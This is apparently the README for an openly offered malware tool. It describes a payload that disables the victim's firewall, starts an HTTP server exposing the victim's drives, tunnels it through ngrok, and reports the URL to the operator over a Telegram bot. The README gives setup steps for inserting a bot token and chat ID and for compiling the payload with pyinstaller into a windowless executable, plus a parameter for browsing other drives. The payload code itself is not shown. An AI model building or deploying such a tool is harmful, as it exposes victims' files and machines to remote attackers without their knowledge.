这个简单脚本将展示一种新型恶意软件,它会关闭防火墙、启动 HTTP 服务器、通过 ngrok 转发其端口,并通过 Telegram 机器人发送服务器的 URL。
你需要创建一个新的 Telegram 机器人。按照这些步骤 创建一个⚡
在运行此程序之前,编辑 payload.py 文件
将 "botttoken" 替换为你的 Telegram 机器人 API 密钥。
将 "chatid" 替换为你的 Telegram 机器人的 Chat ID。
# Install dependencies
$ python3 , pip
$ py -3 -m pip install -r requirements.txt
# in order to change the drive you accesing use this parameter change_drive?drive=$Drive
# Building the payload
$ Replace the bot token And Chatid Cred in the file
$ Now compile the payload code using pyinstaller
$ pyinstaller --noconfirm --onefile --windowed payload.py